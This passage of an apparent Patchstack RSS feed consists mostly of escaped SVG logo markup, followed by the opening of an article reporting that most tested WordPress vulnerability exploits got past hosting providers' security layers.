                &lt;path d=&quot;M4.50072 14.5176C4.36825 14.5176 4.24902 14.6239 4.24902 14.77C4.24902 14.9029 4.355 15.0225 4.50072 15.0225C4.6332 15.0225 4.75242 14.9162 4.75242 14.77C4.75242 14.6372 4.6332 14.5176 4.50072 14.5176Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 14.4629C5.12368 14.4629 4.99121 14.5958 4.99121 14.7685C4.99121 14.9412 5.12368 15.0741 5.2959 15.0741C5.46812 15.0741 5.60059 14.9412 5.60059 14.7685C5.60059 14.5958 5.46812 14.4629 5.2959 14.4629Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 15.5137C2.88489 15.5137 2.8584 15.5402 2.8584 15.5668C2.8584 15.5934 2.88489 15.62 2.91139 15.62C2.93788 15.62 2.96438 15.5934 2.96438 15.5668C2.96438 15.5402 2.93788 15.5137 2.91139 15.5137Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 15.4473C3.6399 15.4473 3.58691 15.5004 3.58691 15.5668C3.58691 15.6333 3.6399 15.6864 3.70614 15.6864C3.77238 15.6864 3.82537 15.6333 3.82537 15.5668C3.82537 15.5004 3.77238 15.4473 3.70614 15.4473Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50089 15.3809C4.39491 15.3809 4.31543 15.4606 4.31543 15.5669C4.31543 15.6732 4.39491 15.7529 4.50089 15.7529C4.60687 15.7529 4.68636 15.6732 4.68636 15.5669C4.68636 15.4606 4.59362 15.3809 4.50089 15.3809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 15.3281C5.16262 15.3281 5.05664 15.4344 5.05664 15.5673C5.05664 15.7001 5.16262 15.8064 5.29509 15.8064C5.42757 15.8064 5.53355 15.7001 5.53355 15.5673C5.53355 15.4344 5.42757 15.3281 5.29509 15.3281Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09027 15.2734C5.9313 15.2734 5.79883 15.4063 5.79883 15.5657C5.79883 15.7252 5.9313 15.858 6.09027 15.858C6.24924 15.858 6.38171 15.7252 6.38171 15.5657C6.38171 15.4063 6.24924 15.2734 6.09027 15.2734Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88489 15.2344C6.69943 15.2344 6.55371 15.3805 6.55371 15.5665C6.55371 15.7525 6.69943 15.8987 6.88489 15.8987C7.07036 15.8987 7.21608 15.7525 7.21608 15.5665C7.21608 15.3805 7.05711 15.2344 6.88489 15.2344Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 16.3105C3.67981 16.3105 3.65332 16.3371 3.65332 16.3637C3.65332 16.3903 3.67981 16.4168 3.70631 16.4168C3.7328 16.4168 3.7593 16.3903 3.7593 16.3637C3.7593 16.3371 3.7328 16.3105 3.70631 16.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50106 16.2578C4.43482 16.2578 4.38184 16.311 4.38184 16.3641C4.38184 16.4305 4.43482 16.4837 4.48781 16.4837C4.55405 16.4837 4.60704 16.4305 4.60704 16.3774C4.60704 16.2977 4.5673 16.2578 4.50106 16.2578Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 16.2051C5.20296 16.2051 5.13672 16.2848 5.13672 16.3645C5.13672 16.4575 5.2162 16.524 5.29569 16.524C5.38842 16.524 5.45466 16.4442 5.45466 16.3645C5.45466 16.2715 5.38842 16.2051 5.29569 16.2051Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09086 16.1504C5.97164 16.1504 5.87891 16.2434 5.87891 16.363C5.87891 16.4826 5.97164 16.5756 6.09086 16.5756C6.21009 16.5756 6.30282 16.4826 6.30282 16.363C6.30282 16.2434 6.19684 16.1504 6.09086 16.1504Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 16.1252C6.75246 16.1252 6.64648 16.2315 6.64648 16.3644C6.64648 16.4972 6.75246 16.6035 6.88494 16.6035C7.01741 16.6035 7.12339 16.4972 7.12339 16.3644C7.12339 16.2315 7.01741 16.1119 6.88494 16.1252C6.88494 16.1119 6.88494 16.1119 6.88494 16.1252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.68054 16.0977C7.53482 16.0977 7.41559 16.2172 7.40234 16.3634C7.40234 16.5095 7.52157 16.6291 7.66729 16.6424C7.81301 16.6424 7.93224 16.5228 7.94548 16.3767C7.94548 16.2172 7.82626 16.0977 7.68054 16.0977Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47504 16.0723C8.31607 16.0723 8.18359 16.2051 8.18359 16.3646C8.18359 16.524 8.31607 16.6569 8.47504 16.6569C8.634 16.6569 8.76648 16.524 8.76648 16.3646C8.75323 16.2051 8.634 16.0723 8.47504 16.0723Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 17.1211C4.47418 17.1211 4.46094 17.1344 4.46094 17.161C4.46094 17.1875 4.47418 17.2008 4.50068 17.2008C4.52717 17.2008 4.54042 17.1875 4.54042 17.161C4.54042 17.1344 4.51393 17.1211 4.50068 17.1211Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 17.0684C5.24231 17.0684 5.21582 17.1082 5.21582 17.1481C5.21582 17.2012 5.25556 17.2278 5.2953 17.2278C5.34829 17.2278 5.37479 17.1879 5.37479 17.1481C5.37479 17.1082 5.33505 17.0684 5.2953 17.0684Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09048 17.0273C6.02424 17.0273 5.95801 17.0805 5.95801 17.1602C5.95801 17.2266 6.011 17.2931 6.09048 17.2931C6.16997 17.2931 6.22296 17.2399 6.22296 17.1602C6.20971 17.0938 6.15672 17.0273 6.09048 17.0273Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 17.002C6.7928 17.002 6.72656 17.0684 6.72656 17.1614C6.72656 17.2544 6.7928 17.3208 6.88553 17.3208C6.97826 17.3208 7.0445 17.2544 7.0445 17.1614C7.0445 17.0684 6.97826 17.002 6.88553 17.002Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 16.9746C7.57362 16.9746 7.49414 17.0543 7.49414 17.1606C7.49414 17.2669 7.57362 17.3466 7.6796 17.3466C7.78558 17.3466 7.86507 17.2669 7.86507 17.1606C7.86507 17.0543 7.77233 16.9746 7.6796 16.9746Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 16.9609C8.3691 16.9609 8.27637 17.0539 8.27637 17.1602C8.27637 17.2665 8.3691 17.3595 8.47508 17.3595C8.58106 17.3595 8.67379 17.2665 8.67379 17.1602C8.67379 17.0539 8.58106 16.9609 8.47508 16.9609Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 17.918C6.06403 17.918 6.05078 17.9313 6.05078 17.9578C6.05078 17.9844 6.06403 17.9977 6.09052 17.9977C6.11702 17.9977 6.13027 17.9844 6.13027 17.9578C6.13027 17.9313 6.11702 17.918 6.09052 17.918Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88515 17.8789C6.8454 17.8789 6.80566 17.9188 6.80566 17.9586C6.80566 17.9985 6.8454 18.0383 6.88515 18.0383C6.92489 18.0383 6.96463 17.9985 6.96463 17.9586C6.95138 17.9188 6.92489 17.8789 6.88515 17.8789Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 17.8652C7.62666 17.8652 7.58691 17.9051 7.58691 17.9582C7.58691 18.0114 7.62666 18.0512 7.67965 18.0512C7.73263 18.0512 7.77238 18.0114 7.77238 17.9582C7.77238 17.9051 7.73263 17.8652 7.67965 17.8652Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47469 17.8516C8.40846 17.8516 8.35547 17.9047 8.35547 17.9579C8.35547 18.0243 8.40846 18.0774 8.46145 18.0774C8.52768 18.0774 8.58067 18.0243 8.58067 17.9711C8.58067 17.8914 8.52768 17.8516 8.47469 17.8516Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 18.7285C8.46149 18.7285 8.44824 18.7418 8.44824 18.7551C8.44824 18.7684 8.46149 18.7817 8.47474 18.7817C8.48798 18.7817 8.50123 18.7684 8.50123 18.7551C8.50123 18.7418 8.48798 18.7285 8.47474 18.7285Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M9.29621 0.0214844V1.19069C9.28297 1.19069 9.26972 1.20398 9.26972 1.21726C9.26972 1.23055 9.28297 1.24384 9.28297 1.24384V1.90816C9.22998 1.90816 9.17699 1.94802 9.17699 2.01445C9.17699 2.0676 9.21673 2.12074 9.28297 2.12074H9.29621V2.61234C9.19023 2.61234 9.0975 2.70535 9.0975 2.81164C9.0975 2.91793 9.19023 2.99765 9.29621 3.01093V3.31652C9.13724 3.31652 9.01802 3.44939 9.01802 3.62211C9.01802 3.76826 9.15049 3.90112 9.29621 3.90112V4.03399C9.08425 4.03399 8.92529 4.20671 8.92529 4.40601C8.92529 4.56545 9.01802 4.69831 9.16374 4.75146C9.05776 4.79132 8.96503 4.85775 8.89879 4.96404C8.83255 4.85775 8.73982 4.79132 8.6206 4.75146C8.81931 4.68502 8.91204 4.47244 8.8458 4.28643C8.77957 4.08713 8.56761 3.99413 8.38215 4.06056C8.18343 4.12699 8.0907 4.33958 8.15694 4.52559C8.19668 4.63188 8.27617 4.72488 8.38215 4.75146C8.24967 4.79132 8.14369 4.87104 8.0907 4.99061C7.97148 4.77803 7.70653 4.69831 7.49457 4.81789C7.40184 4.87103 7.32236 4.96404 7.28261 5.07033C7.20313 4.85775 6.97793 4.75146 6.76597 4.81789C6.55401 4.88432 6.44803 5.12348 6.51427 5.33606C6.54076 5.42907 6.607 5.50878 6.69973 5.56193C6.59375 5.60179 6.51427 5.68151 6.46128 5.7878C6.34205 5.5885 6.0771 5.52207 5.86515 5.64165C5.74592 5.70808 5.67968 5.82766 5.66644 5.96052C5.63994 5.76123 5.45448 5.61508 5.25577 5.64165C5.05706 5.66822 4.91134 5.85423 4.93783 6.05353C4.96433 6.22625 5.0968 6.35912 5.25577 6.3724C5.01732 6.39898 4.8451 6.61156 4.87159 6.83743C4.88484 6.97029 4.96433 7.08987 5.08355 7.1563C4.99082 7.20945 4.91134 7.28917 4.85835 7.39546C4.75237 7.19616 4.50067 7.12973 4.31521 7.23602C4.12974 7.34231 4.05026 7.59475 4.15624 7.78076C4.20923 7.87377 4.27546 7.9402 4.36819 7.96678C4.14299 8.04649 4.01052 8.28565 4.09 8.52481C4.12974 8.6311 4.19598 8.7241 4.30196 8.77725C4.18273 8.83039 4.10325 8.93669 4.06351 9.06955C3.99727 8.87025 3.78531 8.77725 3.59985 8.84368C3.40114 8.91011 3.30841 9.12269 3.37464 9.30871C3.44088 9.49472 3.65284 9.60101 3.8383 9.53458C3.94428 9.49472 4.03701 9.415 4.06351 9.30871C4.09 9.42828 4.16948 9.52129 4.27546 9.58772C4.18273 9.64087 4.10325 9.73387 4.06351 9.85345C3.98402 9.65415 3.77206 9.56115 3.57335 9.64087C3.37464 9.72058 3.28191 9.93317 3.3614 10.1325C3.44088 10.3318 3.65284 10.4248 3.85155 10.345C3.94428 10.3052 4.02376 10.2255 4.06351 10.1325C4.10325 10.2388 4.16948 10.3318 4.27546 10.3982C4.16948 10.4646 4.10325 10.5576 4.07675 10.6639C4.01052 10.4646 3.79856 10.3716 3.59985 10.4381C3.40114 10.5045 3.30841 10.7171 3.37464 10.9164C3.44088 11.1157 3.65284 11.2087 3.85155 11.1422C3.95753 11.1024 4.03701 11.0227 4.07675 10.9164C4.1165 11.0359 4.19598 11.1422 4.30196 11.2087C4.16948 11.2884 4.07675 11.4345 4.07675 11.594C4.07675 11.3947 3.90454 11.2352 3.71907 11.2485C3.52036 11.2485 3.36139 11.4212 3.37464 11.6073C3.38789 11.7933 3.54686 11.966 3.73232 11.9527C3.91778 11.9527 4.07675 11.7933 4.07675 11.6073C4.07675 11.7933 4.19598 11.9527 4.36819 12.0191C4.15624 12.0989 4.05026 12.338 4.12974 12.5373C4.20923 12.7499 4.44768 12.8562 4.64639 12.7765C4.73912 12.7366 4.80536 12.6835 4.85835 12.5905C4.89809 12.6835 4.97757 12.7632 5.0703 12.8163C4.95108 12.896 4.87159 13.0289 4.87159 13.1751C4.87159 12.9758 4.69938 12.8163 4.50067 12.8163C4.30196 12.8163 4.14299 12.9891 4.14299 13.1883C4.14299 13.3876 4.31521 13.5471 4.51392 13.5471C4.71263 13.5471 4.85835 13.3876 4.87159 13.1883C4.87159 13.4009 5.03056 13.5737 5.22927 13.6135C5.03056 13.6534 4.89809 13.8527 4.93783 14.052C4.97757 14.2513 5.17628 14.3841 5.37499 14.3443C5.52072 14.3177 5.63994 14.1981 5.66644 14.052C5.70618 14.238 5.8519 14.3841 6.05061 14.4107C5.8519 14.4373 5.70618 14.6233 5.73267 14.8226C5.75917 15.0219 5.94463 15.168 6.14334 15.1415C6.34205 15.1149 6.48777 14.9289 6.46128 14.7296C6.43478 14.5701 6.31556 14.4373 6.14334 14.4107C6.27581 14.3974 6.39504 14.3177 6.46128 14.2114C6.51427 14.3044 6.59375 14.3708 6.68648 14.424C6.48777 14.5436 6.42154 14.796 6.54076 14.982C6.65999 15.1813 6.91169 15.2477 7.09715 15.1282C7.17664 15.0883 7.22963 15.0086 7.26937 14.9289C7.32236 15.0883 7.46808 15.1946 7.62705 15.2079C7.42834 15.2345 7.29586 15.4205 7.3356 15.6198C7.3621 15.8191 7.54756 15.9519 7.74627 15.9121C7.94498 15.8855 8.07746 15.6995 8.03771 15.5002C8.01122 15.354 7.89199 15.2345 7.74627 15.2079C7.87875 15.1946 7.99797 15.1149 8.07746 14.9953C8.13045 15.1016 8.23642 15.1813 8.3424 15.2212C8.14369 15.3009 8.05096 15.5268 8.13045 15.7128C8.20993 15.9121 8.43514 16.0051 8.6206 15.9254C8.81931 15.8456 8.91204 15.6198 8.83255 15.4338C8.79281 15.3407 8.71333 15.261 8.6206 15.2212C8.72658 15.1946 8.80606 15.1149 8.8723 15.0352C8.92529 15.1282 9.01802 15.1946 9.11075 15.2345C8.91204 15.3275 8.83256 15.5533 8.92529 15.7526C8.99152 15.8855 9.124 15.9785 9.26972 15.9785V16.0981C9.11075 16.0981 8.96503 16.2177 8.96503 16.3904C8.96503 16.5498 9.08426 16.696 9.25647 16.696H9.26972V16.9883C9.15049 16.9883 9.05776 17.0813 9.05776 17.1876C9.05776 17.3071 9.15049 17.4001 9.25647 17.4001H9.26972V17.8785C9.20348 17.8785 9.16374 17.9316 9.16374 17.998C9.16374 18.0512 9.21673 18.1043 9.26972 18.1043V18.7554C9.25647 18.7554 9.24322 18.7687 9.24322 18.7819C9.24322 18.7952 9.25647 18.8085 9.26972 18.8085V19.9777C14.7541 20.0176 19.245 15.5932 19.2847 10.0926C19.3245 4.59202 14.9131 0.0879162 9.42869 0.0480569C9.40219 0.021484 9.3492 0.0214844 9.29621 0.0214844ZM5.67968 6.04024C5.69293 6.15982 5.74592 6.26611 5.83865 6.33254C5.77242 6.39898 5.70618 6.46541 5.63994 6.53184C5.57371 6.43884 5.46773 6.38569 5.3485 6.3724C5.53396 6.34583 5.66644 6.21297 5.67968 6.04024ZM5.67968 13.8925C5.65319 13.7464 5.53396 13.6401 5.38824 13.6002C5.49422 13.5869 5.58695 13.5205 5.65319 13.4408C5.71943 13.5072 5.77242 13.5604 5.83865 13.6268C5.75917 13.6932 5.70618 13.7862 5.67968 13.8925Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 11.4082C2.02339 11.4082 1.93066 11.4879 1.93066 11.5942C1.93066 11.6872 2.01015 11.7802 2.11613 11.7802C2.20886 11.7802 2.30159 11.7005 2.30159 11.5942C2.28834 11.4879 2.20886 11.4082 2.11613 11.4082Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6313&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;20&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;114&quot; height=&quot;14&quot; viewBox=&quot;0 0 114 14&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; style=&quot;height: 13px;&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6431)&quot;&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M106.956 0C105.131 0 103.494 0.777636 102.375 2.01048C101.256 0.777636 99.6182 0 97.7937 0C94.4202 0 91.6855 2.65915 91.6855 5.93939V6.36364V13.5758H94.7396V5.93939L94.7413 5.83715C94.7968 4.24455 96.1423 2.9697 97.7937 2.9697C99.4804 2.9697 100.848 4.29927 100.848 5.93939V13.5758H103.902V5.93939L103.904 5.83715C103.959 4.24455 105.304 2.9697 106.956 2.9697C108.643 2.9697 110.01 4.29927 110.01 5.93939V13.5758H113.064V5.93939C113.064 2.65915 110.329 0 106.956 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M81.6506 10.6061C79.4818 10.6061 77.724 8.89679 77.724 6.78788C77.724 4.67897 79.4818 2.9697 81.6506 2.9697C83.8194 2.9697 85.5773 4.67897 85.5773 6.78788C85.5773 8.89679 83.8194 10.6061 81.6506 10.6061ZM81.6506 0C77.7951 0 74.6699 3.03927 74.6699 6.78788C74.6699 10.5369 77.7951 13.5758 81.6506 13.5758C85.5061 13.5758 88.6313 10.5369 88.6313 6.78788C88.6313 3.03927 85.5061 0 81.6506 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M66.8225 2.9697C67.9438 2.9697 68.9525 3.42915 69.668 4.16182L71.8276 2.06182C70.5589 0.792061 68.7871 0 66.8225 0C62.967 0 59.8418 3.03927 59.8418 6.78788C59.8418 10.5369 62.967 13.5758 66.8225 13.5758C68.7871 13.5758 70.5589 12.7841 71.8276 11.5139L69.668 9.41352C68.9525 10.1466 67.9438 10.6061 66.8225 10.6061C64.6537 10.6061 62.8959 8.89679 62.8959 6.78788C62.8959 4.67897 64.6537 2.9697 66.8225 2.9697Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M54.1637 8.48438C55.6091 8.48438 56.7814 9.62431 56.7814 11.0298C56.7814 12.4353 55.6091 13.5753 54.1637 13.5753C52.7182 13.5753 51.5459 12.4353 51.5459 11.0298C51.5459 9.62431 52.7182 8.48438 54.1637 8.48438Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M37.8077 5.51515C38.347 4.032 39.8011 2.9697 41.511 2.9697C43.2208 2.9697 44.6754 4.032 45.2147 5.51515H37.8077ZM48.4917 6.78788C48.4917 3.03885 45.3665 0 41.511 0C37.6559 0 34.5303 3.03885 34.5303 6.78788C34.5303 10.5365 37.6559 13.5758 41.511 13.5758C44.3569 13.5758 46.8045 11.9199 47.8918 9.54545H44.2269C43.5214 10.2022 42.5646 10.6061 41.511 10.6061C39.7209 10.6061 38.2108 9.44109 37.7379 7.84848H48.407C48.4629 7.50273 48.4917 7.14849 48.4917 6.78788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M24.4963 0C20.6412 0 17.5156 3.03927 17.5156 6.78788V13.5758H20.5697V12.4006L20.5701 12.401L20.5697 6.78788L20.5714 6.67503C20.6325 4.61873 22.3663 2.9697 24.4963 2.9697C26.6651 2.9697 28.423 4.67897 28.423 6.78788V12.4006L28.4234 12.4002L28.423 13.5758H31.477V6.78788L31.4757 6.65424C31.4024 2.96715 28.3056 0 24.4963 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M7.48069 10.6061C5.31188 10.6061 3.55405 8.89679 3.55405 6.78788C3.55405 4.67897 5.31188 2.9697 7.48069 2.9697C9.64951 2.9697 11.4073 4.67897 11.4073 6.78788C11.4073 8.89679 9.64951 10.6061 7.48069 10.6061ZM7.48069 0C3.62561 0 0.5 3.03927 0.5 6.78788C0.5 10.5369 3.62561 13.5758 7.48069 13.5758C11.3358 13.5758 14.4614 10.5369 14.4614 6.78788C14.4614 3.03927 11.3358 0 7.48069 0Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6431&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;14&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;img decoding=&quot;async&quot; src=&quot;https://patchstack.com/wp-content/uploads/2025/09/logo-xcloud.png&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
        &lt;svg height=&quot;40&quot; viewBox=&quot;0 0 160 40&quot; width=&quot;160&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;block-hosts-logos__image&quot;&gt;
            &lt;g fill=&quot;#fff&quot;&gt;
                &lt;path d=&quot;m77.4866 16.2873c.6091-.9537 1.4371-1.7483 2.4152-2.3177.9734-.5817 2.089-.8826 3.2231-.8691v5.8273h-1.5164c-1.3736 0-2.4041.3003-3.0917.901-.6876.5802-1.031 1.6105-1.0302 3.091v8.34h-5.5081v-17.9665h5.5081z&quot;/&gt;
                &lt;path d=&quot;m104.432 13.292-10.135 23.8281h-5.8568l2.9161-6.4741-7.3106-17.354h6.1515l4.1575 11.2371 4.1194-11.2371z&quot;/&gt;
                &lt;path d=&quot;m112.124 31.5163c-1.567 0-2.962-.2681-4.186-.8041-1.223-.536-2.19-1.266-2.899-2.19-.696-.9128-1.11-2.0095-1.191-3.1548h5.442c.028.3003.119.5912.269.8528.15.2617.355.4879.6.6632.516.3855 1.15.5786 1.901.5795.687 0 1.213-.1289 1.578-.3867.178-.1145.324-.2719.425-.4576.102-.1858.155-.394.155-.6055 0-.5139-.269-.8896-.806-1.1269-.536-.257-1.405-.536-2.608-.8372-1.092-.2426-2.168-.5542-3.221-.9329-.855-.3415-1.617-.8823-2.222-1.5774-.623-.73-.934-1.7068-.933-2.9302-.01-.9969.282-1.9736.837-2.8013.58-.8577 1.417-1.5336 2.511-2.0279 1.118-.4911 2.438-.7366 3.962-.7366 2.255 0 4.026.5582 5.313 1.6744 1.31 1.1155 2.061 2.5967 2.255 4.4438h-5.088c-.033-.2911-.123-.5727-.267-.8277-.144-.2551-.338-.4784-.571-.6564-.45-.365-1.051-.5475-1.804-.5475-.643 0-1.137.1289-1.48.3866-.165.1078-.299.2563-.39.4312-.09.1749-.134.3702-.126.5669 0 .5155.268.9018.805 1.1588.558.2578 1.417.5155 2.579.7733 1.106.2712 2.192.6152 3.252 1.03.857.3348 1.611.8869 2.188 1.6019.644.7292.977 1.7166.999 2.9621.011 1.0168-.306 2.0101-.903 2.8332-.582.8176-1.43 1.4637-2.544 1.9383-1.096.4706-2.373.7055-3.832.7047z&quot;/&gt;
                &lt;path d=&quot;m131.82 26.5914v4.6647h-2.801c-1.995 0-3.55-.4824-4.666-1.4473-1.115-.9869-1.674-2.586-1.676-4.7973v-7.1468h-2.191v-4.5702h2.189v-2.9105l5.483-1.47311h.026v4.38361h3.605v4.5702h-3.602v7.2144c0 .534.122.9219.384 1.1563.261.2345.688.356 1.288.356z&quot;/&gt;
                &lt;path d=&quot;m160 7.48682v23.82568h-5.509v-22.35016l5.507-1.47552z&quot;/&gt;
                &lt;path d=&quot;m70.6377 31.2585h-6.731l-5.6223-7.3862-1.9756 2.4981v4.8881h-5.5093v-22.60054h5.5093v9.91624l7.5353-9.91624h6.4719l-8.7606 11.07624z&quot;/&gt;
                &lt;path d=&quot;m132.828 22.2446c0-1.8463.343-3.4671 1.03-4.8624.708-1.3912 1.663-2.4645 2.866-3.2199 1.207-.7525 2.604-1.1435 4.026-1.1269 1.267 0 2.372.2578 3.315.7734.91.4632 1.678 1.1639 2.222 2.0279v-2.5435h5.507v17.9666h-5.507v-2.5435c-.562.8602-1.339 1.5592-2.254 2.0279-.944.5156-2.049.7729-3.315.7721-1.412.0136-2.798-.3775-3.994-1.1269-1.202-.7725-2.157-1.8565-2.866-3.2518-.688-1.4166-1.031-3.0476-1.03-4.893zm13.461.0319c0-1.3732-.387-2.4572-1.159-3.2518-.351-.3838-.779-.6886-1.257-.8941-.478-.2056-.994-.3071-1.513-.2979-.54-.0074-1.075.0947-1.574.3-.498.2053-.95.5096-1.328.8944-.751.7726-1.127 1.8459-1.127 3.2199 0 1.3741.376 2.4695 1.127 3.2862.378.3843.83.6879 1.329.8926.499.2046 1.034.3061 1.573.2981.52.0096 1.036-.0917 1.513-.297.478-.2053.907-.51 1.258-.8937.772-.7971 1.158-1.8827 1.158-3.2567z&quot;/&gt;
                &lt;path d=&quot;m39.5916 8.61132-19.794 5.05628-19.78911611-5.05505 9.28739611-8.61255h21.01082z&quot;/&gt;
                &lt;path d=&quot;m39.6028 12.6978-17.8209 27.3021v-22.7516z&quot;/&gt;
                &lt;path d=&quot;m17.8197 17.2508v22.7491l-17.8197-27.3009z&quot;/&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</content:encoded><category>Case Studies</category><author>Lana Rafaela</author></item><item><title>The Myth of Secure Hosting – Only 26% of Vulnerability Attacks Blocked By Hosts</title><link>https://patchstack.com/articles/myth-of-secure-hosting-only-26-percent-of-vulnerability-exploits-blocked-by-hosts/</link><guid isPermaLink="true">https://patchstack.com/articles/myth-of-secure-hosting-only-26-percent-of-vulnerability-exploits-blocked-by-hosts/</guid><description>“Secure hosting” is a phrase that’s increasingly used, and most hosts offer some level of security as part of their services. This mostly refers to known security suites like Cloudflare or in-house firewall solutions. But most of these solutions are ineffective against WordPress vulnerability exploits. In 2025 we conducted a limited experiment to see if […]
</description><pubDate>Fri, 23 Jan 2026 11:24:32 GMT</pubDate><content:encoded>
&lt;script src=&quot;https://cdn.jsdelivr.net/npm/chart.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2.0.0&quot;&gt;&lt;/script&gt;

&lt;style&gt;
.wp-block-table {
    margin-inline: 0;
margin-block: 3rem;
}

.wp-block-table .has-fixed-layout {  
font-size: 16px;
}

p {
max-width: 100% !important;
}

@media (max-width: 991px) {
.wp-block-table .has-fixed-layout { 
    min-width: 750px; 
}
}
&lt;/style&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;“Secure hosting” is a phrase that’s increasingly used, and most hosts offer some level of security as part of their services. This mostly refers to known security suites like Cloudflare or in-house firewall solutions. But most of these solutions are ineffective against WordPress vulnerability exploits.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In 2025 we conducted a limited experiment to see if popular web hosting solutions could prevent attacks against known exploited vulnerabilities. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In the test we used 11 vulnerabilities that were known to be exploited in real-world attacks. We then tested these attacks on hosts using various solutions, from big security suites like Cloudflare to custom firewalls.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The shocking answer was that &lt;a href=&quot;https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/&quot;&gt;&lt;strong&gt;88% of attacks we ran resulted in a successful site takeover.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;But we wanted to see what would happen if we expanded the scope of the experiment. So for our second test, we decided to include more hosting companies, more different defensive layers, and more vulnerability types.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Our assumption was that the number of successful attacks would decrease as hosts would be better at blocking the more generic, non-WordPress specific vulnerabilities.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;The new results show that while hosts overall did a little better against more generic attacks, 74% of all attacks still succeeded.&lt;/strong&gt; Furthermore, this test also included the same 10 original vulnerabilities we tested in the first experiment. We had expected the hosts to react &amp;amp; mitigate those after our reports, but this was largely not the case.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
